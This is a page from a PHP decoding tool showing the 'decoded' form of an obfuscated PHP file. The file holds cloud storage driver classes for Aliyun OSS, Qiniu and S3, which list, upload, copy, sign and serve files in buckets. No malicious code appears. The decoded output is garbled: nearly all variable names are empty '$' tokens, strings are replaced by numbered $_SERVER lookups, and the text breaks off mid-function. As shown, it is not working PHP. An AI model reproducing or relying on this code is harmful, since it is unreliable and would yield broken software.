Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto b; A: class PathDriverOSS extends PathDriverBase { protected $accessKey = '';..
Decoded Output download
<?php
goto b; A: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1422]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1423] . LNG($[1424])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1425]); $->addAllowedMethod($[1426]); $->addAllowedMethod($[1427]); $->addAllowedMethod($[1428]); $->addAllowedMethod($[1429]); $->addAllowedMethod($[163]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1430]); $->addAllowedHeader($[1425]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ || !($ = $->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($[204] => isset($[0]) ? $[0] : $[12], $[208] => $, $[1431] => $, $[1432] => isset($[0]) ? $[0] : $[12], $[206] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[204]] != $[205] || $[$[206]] != $[205]) { return !1; } $ = array_map($[207], $[$[208]]); if (!is_array($)) { $ = array(); } $ = array($[209], $[210], $[211], $[212], $[213]); $ = array_diff($, $); return empty($); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1433] => $, $[1434] => $, $[1435] => $, $[1436] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $->getLastModified(); $ = trim($->getETag(), $[120]); $ = $ ? array($[32] => $, $[78] => $, $[196] => strtotime($), $[1437] => $) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[78] => $, $[1438] => $, $[87] => strtotime($), $[1439] => $, $[1437] => $); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $; } foreach ($ as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[84] => $, $[85] => $); } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, $); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1440] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ = 0; $ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ => $) { $ = $ + (int) $[$[1441]]; $ = (int) $[$[383]] + $ - 1; $ = array($[1442] => $, $[1443] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $); $ = $ + 1; } $ = array(); foreach ($ as $ => $) { $[] = array($[1444] => $ + 1, $[1445] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$[84]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } $ = array($[87] => strtotime($[$[1439]]), $[78] => $[$[1438]] + 0, $[1437] => $[$[1437]]); } if (isset($[$[1437]]) && $[$[1437]]) { $[$[221]] = trim($[$[1437]], $[120]); } if (isset($[$[78]])) { $[$[78]] = $[$[78]]; } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (isset($[$[196]]) && !trim($[$[87]])) { $[$[87]] = $[$[196]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (!$) { return $; } $ = array($[217] => $[$[546]][$[1446]], $[87] => strtotime($[$[1439]])); } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (isset($[$[217]])) { $[$[217]] = $[$[217]]; } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ => $) { $[$[84]][$] = $this->folderInfo($, $, $); } foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $[$[80]] += count($[$[84]]); $[$[79]] += count($[$[85]]); foreach ($[$[85]] as $) { if (!$ || !$[$[78]]) { continue; } $[$[78]] += $[$[78]]; } } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($[1433] => $[8], $[1434] => $, $[1435] => $, $[1436] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $) { $ += count($) - 1; } if (!empty($)) { $ += count($); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[]; $ = $this->pathAcl($); return $ == $[1447] || $ == $[589] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[][589] ? !0 : !1; } public function pathAcl($) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } $ = $ == $[37] ? $this->bucketAcl : $; if ($ == $[1448]) { return $[1447]; } if ($ == $[1449]) { return $[589]; } return $; } private function chmodPath($, $ = '') { $ =& $_SERVER[]; $ = empty($) ? $[1449] : $; $ = array($[37], $[215], $[1448], $[1449]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ = $this->trafficLimit($[1450]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } $ = array($[1440] => trim($[$[1437]], $[120]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$[1451]][$[277]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1440] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1450], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[200], parent::getHost()); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1452], time() + $); $ = new DateTime($); $ = $->format(DateTime::ISO8601); $ = strpos($, $[342]); $ = substr($, 0, $) . $[1453]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($[260] => $, $[263] => array(array($[1454], 0, $), array($[266], $[267], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[249], $, $this->secret, !0)); $ = array($[278] => $, $[1455] => $this->accessKey, $[270] => $[259], $[1456] => $, $[198] => $); $ = $this->trafficLimit($[1450], $); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1450]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[240] => $, $[198] => $ . $[8] . $this->pathEncode($), $[241] => gmdate($[1457]), $[96] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[241]]) ? $[$[241]] : gmdate($[1457]); $ = isset($[$[177]]) ? $[$[177]] : $[12]; $ = $; if (isset($[$[96]])) { $ = $[$[96]]; unset($[$[96]]); } if (isset($[$[242]])) { $[$[241]] = $; return $this->listUploadParts($, $); } $ = array($[243], $[12], $[122], $, "x-oss-date:{$}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[244]) === 0) { $[0] = $[245]; if ($ = $this->trafficLimit($[1450])) { $ = $[1458]; array_splice($, 5, 0, $ . $[4] . $[$]); } } if (isset($[$[246]]) && $[$[246]] == $[247]) { $[0] = $[247]; } if (!empty($[$[1459]])) { $ = array_merge(array($[4]), $[$[1459]]); sort($); $[4] = implode($[248], $); } $ = implode($[248], $); $ = base64_encode(hash_hmac($[249], $, $this->secret, !0)); $ = $[1423] . $this->accessKey . $[4] . $; if (strpos($, $[244]) === 0) { $ = array($[251] => $, $[241] => $); if ($) { $ = array_merge($, $); } } return $; } public function listUploadParts($, $) { $ =& $_SERVER[]; $ = parse_url_query($[$[177]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$[240]]); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[1444] => $->getPartNumber(), $[1445] => trim($->getETag(), $[120])); } unset($[$[242]], $[$[246]]); $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($[251] => $, $[241] => $[$[241]], $[253] => $); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][111], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}-{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($, $ = array()) { $ =& $_SERVER[]; if ($ == $[1450] && $this->isUploadServer() || $ == $[111] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[91]][$[109]][$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[111], $); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[247], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { return !1; } } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $[234]) { return parent::fileOut($, $, $, $); } $ = $ ? $[1460] : $[1461]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1462] . rawurlencode("{$};filename={$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1463] . rawurlencode($); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1420] . $); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this->_objectMeta($); if (!$) { return $[12]; } if (!isset($[$[1440]]) && !empty($)) { $ = $this->updateObjMeta($, array($[1440] => $)); $[$[1440]] = $ ? $ : $[12]; } return isset($[$[1440]]) ? strtolower($[$[1440]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$[78]] = intval($[$[1438]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = array($[1433] => $[8], $[1434] => rtrim($, $[8]) . $[8], $[1435] => 1, $[1436] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1464]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1465] . LNG($[1424])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $ = get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $); return $ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$[84]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($); if ($) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($[$[1466]]) ? $[$[1466]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[220]]) && $[$[220]]) { $[$[221]] = $[$[220]]; } if (isset($[$[230]]) && $[$[230]]) { $[$[221]] = $[$[230]]; } if (isset($[$[1467]])) { $[$[87]] = substr($[$[1467]] . $[12], 0, 10); } if (isset($[$[1466]])) { $[$[78]] = $[$[1466]]; } return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (isset($[$[1467]])) { $[$[87]] = substr($[$[1467]] . $[12], 0, 10); } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ => $) { $[$[84]][$] = $this->folderInfo($, $); } foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->fileInfo($[$[96]], $, $); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1436], $) ? $ = $[$[1468]] : $[12]; if ($) { if (!empty($[$[1469]])) { $ += count($[$[1469]]); } if (!empty($[$[1470]])) { $ += count($[$[1470]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1469]])) { return !0; } } else { if (!empty($[$[1470]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1436], $) ? $ = $[$[1468]] : $[12]; $ = isset($[$[1469]]) ? $[$[1469]] : array(); $ = isset($[$[1470]]) ? $[$[1470]] : array(); foreach ($ as $) { if ($[$[96]] == $) { continue; } $ = $[$[96]]; $ = $[$[1466]]; $[$[78]] = $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ : $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[84] => $, $[85] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $) = $->refreshUrls($); if ($) { return !1; } return $[$[1233]] == $[804] ? !0 : !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1471] . $ . $[432] . $); } $ = url_request($, $[247], !1, $); return $[$[795]] ? $[$[1253]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $) = $->putFile($, $, $, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($, $ = 3600) { return $this->uploadToken($, $); } private function uploadToken($, $ = 3600) { $ =& $_SERVER[]; $ = $; $ = array($[1472] => $[1473]); $ = $; $ = $this->auth->uploadToken($this->bucket, $, $, $, !0); $ = empty($this->region) || $this->region == $[1474] ? $[12] : $[432] . $this->region; $ = http_type() . "://upload{$}.qiniup.com/"; return array($[1475] => $, $[1476] => $); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1477]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? $[1478] . rawurlencode($) : $[12]; $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { $ = $this->link($, $_SERVER[][1479] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$[230]]) ? $[$[230]] : !1; $ = $this->link($, $[1480]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[78]] = intval($[$[1466]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1469]]) || !empty($[$[1470]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[215]; $ = $[255]; $ = $[62]; $ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ = $ . $[12]; $ = $[259]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[260] => gmdate($[1376], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $), array($[271] => $), array($[272] => $), array($[273] => $), array($[274] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $); $ = array($[232] => $[12], $[277] => $[12], $[265] => $, $[270] => $, $[278] => $, $[279] => $, $[280] => $, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = gmdate($[1481]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($[240] => $, $[198] => $this->getHost() . $[8] . $this->pathEncode($), $[241] => $, $[96] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[177]]) ? $[$[177]] : $[12]; $ = $[$[96]]; unset($[$[96]]); if (isset($[$[242]])) { return $this->listUploadParts($, $); } $ = array(); if (isset($[$[1482]])) { $[$[1483]] = $[$[1482]]; } $ = explode($[200], $this->getHost()); $ = array($[1484] => $[1], $[1485] => $[12], $[232] => $[122], $[277] => $[$[78]]); $ = $[245]; $ = $[8] . $this->pathEncode($) . $; $ = $this->client->__getSignatureV4($, $, $, $); if (strpos($, $[244]) === 0) { if (isset($[$[1483]])) { $ = $[$[1483]]; } else { if (isset($[$[1483]])) { $ = $[$[1483]]; } else { $ = hash($[275], $[12]); } } return array($[251] => $[$[251]], $[1483] => $, $[241] => $[$[1486]]); } return $[$[251]]; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ = str_replace($[252], $[12], $[$[177]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } $ = $[1487]; foreach ($ as $) { $ .= $[1488] . "<PartNumber>{$[$[1444]]}</PartNumber>\xa" . "<ETag>{$[$[1445]]}</ETag>
